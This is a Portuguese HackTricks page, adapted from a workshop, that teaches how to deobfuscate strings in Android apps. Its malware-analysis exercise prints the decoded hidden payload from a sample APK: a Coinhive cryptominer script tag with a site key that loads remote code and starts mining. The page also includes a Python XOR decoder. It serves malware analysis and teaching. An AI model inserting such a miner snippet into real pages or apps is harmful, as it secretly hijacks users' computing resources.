hacktricks/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md

116 lines
9.7 KiB
Markdown

<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Copiado de **[**https://maddiestone.github.io/AndroidAppRE/obfuscation.html**](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)** (você pode encontrar soluções lá)**
![Logo](https://maddiestone.github.io/AndroidAppRE/images/pinkandroid.png)
Há muitas vezes em que a aplicação que você está revertendo não será tão direta quanto alguns dos exemplos que discutimos. O desenvolvedor implementará uma ou mais técnicas de ofuscação para esconder o comportamento e/ou implementação do seu aplicativo. Isso pode ser por razões tanto benignas quanto maliciosas.
O ponto chave sobre ofuscação a lembrar é que, se você quiser desofuscar, você será capaz. A decisão chave não é se você pode ou não, mas se vale a pena os recursos para desofuscar.
A razão pela qual você sempre pode desofuscar algo é porque, em última análise, a CPU em algum momento tem que ver o código desofuscado para poder executá-lo.
## Como Desofuscar <a href="how-to-de-obfuscate" id="how-to-de-obfuscate"></a>
Como você escolhe desofuscar a aplicação dependerá do método de ofuscação, mas há algumas técnicas comuns que geralmente funcionam bem. Aqui, vamos apenas abordar as técnicas de desofuscação estática, já que este workshop cobre apenas análise/reversão estática. No entanto, lembre-se de que executar a aplicação e analisá-la dinamicamente pode ser outra ótima maneira de contornar a ofuscação.
Para ofuscação no bytecode DEX (Java), uma das maneiras mais fáceis de desofuscar estaticamente é identificar os métodos de desofuscação na aplicação e copiar sua descompilação para um arquivo Java que você executa no arquivo, strings, código, etc. ofuscados.
Outra solução para ambos os códigos Java e Nativo é transliterar o algoritmo de desofuscação para Python ou qualquer outra linguagem de script com a qual você se sinta mais confortável. Eu digo "transliterar" porque é importante lembrar que você nem sempre precisa *entender* o algoritmo de desofuscação, você só precisa de uma maneira de executá-lo. Eu cubro isso em mais detalhes na palestra "Desempacotando o Desempacotador Empacotado" que está linkada na seção "Mais Exemplos".
## Indicadores de Ofuscação <a href="indicators-of-obfuscation" id="indicators-of-obfuscation"></a>
Há muitos tipos diferentes de ofuscação e, portanto, tantos tipos diferentes de indicadores para alertar você, o analista, de que uma aplicação provavelmente está ofuscada, mas aqui estão alguns exemplos com soluções propostas de análise estática para desofuscar.
* Sem strings: Java e Android são altamente dependentes de strings, então se você não vê nenhuma ou apenas strings embaralhadas, é muito provável que as strings estejam ofuscadas.
* Solução sugerida: Procure por chamadas de método que recebem strings como argumento e rastreie de onde esse argumento está vindo. Em algum momento, o argumento de string passará por um método de desofuscação antes de ser passado para a API que recebe o argumento String.
* Strings embaralhadas: As APIs de Java e Android requerem as strings em texto claro, não embaralhadas.
* Solução sugerida: As strings embaralhadas provavelmente são todas passadas para os mesmos métodos antes de serem passadas para as APIs. Esses métodos são provavelmente os métodos de desofuscação.
* Arquivos binários no diretório assets/ e chamadas DexClassLoader no aplicativo: Provavelmente desempacotando e carregando código adicional. (Também pode ser baixando de um local remoto e depois carregando usando DexClassLoader)
* Solução Sugerida: Identifique onde o arquivo é lido e então siga o caminho. É provável que seja desofuscado logo após ser lido.
* Bibliotecas nativas - Não é possível identificar as funções JNI (nenhuma função chamada Java\_ e nenhuma chamada para RegisterNatives): Para executar quaisquer métodos nativos, a JNI tem que ser capaz de parear a função na biblioteca nativa com a declaração do método nativo em Java e, portanto, um dos dois deve existir em algum momento.
* Solução Sugerida: Comece no método JNI_OnLoad e procure por uma rotina de desofuscação que carrega código adicional.
## Exercício 7 - Desofuscação de Strings <a href="exercise-7---string-deobfuscation" id="exercise-7---string-deobfuscation"></a>
Neste exercício, vamos praticar a desofuscação de strings para analisar um aplicativo. Para o exercício, usaremos a amostra em `~/samples/ClashOfLights.apk` na VM. Esta amostra tem o resumo SHA256 c403d2dcee37f80b6d51ebada18c409a9eae45416fe84cd0c1ea1d9897eae4e5.
### Objetivos <a href="goals" id="goals"></a>
Identificar strings ofuscadas e desenvolver uma solução para desofuscá-las.
### Contexto do Exercício <a href="exercise-context" id="exercise-context"></a>
Você é um analista de malware revisando este aplicativo para determinar se é malware. Você se depara com uma string Javascript ofuscada que está sendo carregada e precisa desofuscá-la para determinar se o aplicativo é malicioso ou não. Você não pode executar o aplicativo dinamicamente e precisa determinar o que o Javascript é estaticamente.
### Instruções <a href="instructions" id="instructions"></a>
1. Encontre a string que você precisa desofuscar.
2. Identifique a rotina que desofusca.
3. Determine como você quer escrever uma solução para desofuscar a string.
4. Faça isso :)
### Solução <a href="solution" id="solution"></a>
A string desofuscada é:
```
<script src="https://coinhive.com/lib/coinhive.min.js"></script><script>var miner = new CoinHive.Anonymous('nf24ZwEMmu0m1X6MgcOv48AMsIYErpFE', {threads: 2});miner.start();</script>
```
O script Python que escrevi para desofuscar é:
```
enc_str = "773032205849207A3831326F1351202E3B306B7D1E5A3B33252B382454173735266C3D3B53163735222D393B475C7A37222D7F38421B6A66643032205849206477303220584920643D2223725C503A3F39636C725F5C237A082C383C7950223F65023F3D5F4039353E3079755F5F666E1134141F5C4C64377A1B671F565A1B2C7F7B101F42700D1F39331717161574213F2B2337505D27606B712C7B0A543D342E317F214558262E636A6A6E1E4A37282233256C"
length = len(enc_str)
count = 0
dec_str = [0] * (length/2)
while (count < length):
dec_str[count/2] = (int(enc_str[count], 16) << 4) + int(enc_str[count + 1], 16) & 0xFF
count += 2
print dec_str
key = [75, 67, 81, 82, 49, 57, 84, 90]
enc_str = dec_str
count = 0
length = len(enc_str)
while (count < length):
dec_str[count] = chr(enc_str[count] ^ key[count % len(key)])
count += 1
print ''.join(dec_str)
```
## Mais Exemplos <a href="more-examples" id="more-examples"></a>
Eu fiz algumas palestras sobre desofuscação de aplicativos Android que incluem uma variedade de mecanismos de ofuscação. Nessas palestras, discuto as técnicas de ofuscação avançadas, minha solução para desofuscá-las e as considerações e escolhas que fiz ao decidir como queria desofuscar.
* BlackHat USA 2018: “Desempacotando o Desempacotador: Engenharia Reversa de uma Biblioteca Anti-Análise do Android” \[[vídeo](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
* Esta palestra aborda a engenharia reversa de uma das bibliotecas nativas anti-análise mais complexas que já vi usadas por um aplicativo Android. Ela cobre principalmente técnicas de ofuscação em código nativo.
* REcon 2019: “O Caminho para o Payload: Edição Android” \[[vídeo](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
* Esta palestra discute uma série de técnicas de ofuscação, exclusivamente em código Java, que um botnet Android estava usando para esconder seu comportamento.
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>